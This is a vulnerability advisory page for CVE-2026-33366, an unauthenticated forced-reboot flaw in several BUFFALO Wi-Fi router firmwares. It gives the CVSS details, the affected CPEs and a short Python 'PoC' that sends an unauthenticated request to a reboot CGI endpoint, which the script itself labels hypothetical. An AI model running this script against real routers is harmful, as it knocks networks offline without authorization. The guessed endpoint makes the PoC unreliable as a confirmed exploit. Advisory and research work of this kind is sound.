Security Vulnerability Report
中文
CVE-2026-33366 CVSS 5.3 MEDIUM

CVE-2026-33366

Published: 2026-03-27 06:16:39
Last Modified: 2026-03-31 19:03:19

Description

Missing authentication for critical function vulnerability in BUFFALO Wi-Fi router products may allow an attacker to forcibly reboot the product without authentication.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:buffalo:wcr-1166dhpl_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wcr-1166dhpl:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wsr3600be4-kh_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wsr3600be4-kh:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wsr3600be4p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wsr3600be4p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wxr-1750dhp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wxr-1750dhp:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wxr-1750dhp2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wxr-1750dhp2:-:*:*:*:*:*:*:* - NOT VULNERABLE
BUFFALO Wi-Fi路由器多个型号 (具体版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): # Target endpoint for reboot functionality (hypothetical) url = f"http://{target_ip}/cgi-bin/reboot.cgi" try: # Send request without authentication headers response = requests.get(url, timeout=10) if response.status_code == 200: print("[+] Exploit successful: Device reboot triggered.") else: print(f"[-] Exploit failed: Status code {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": target = "192.168.11.1" exploit(target)

References

Raw JSON Data

JSON
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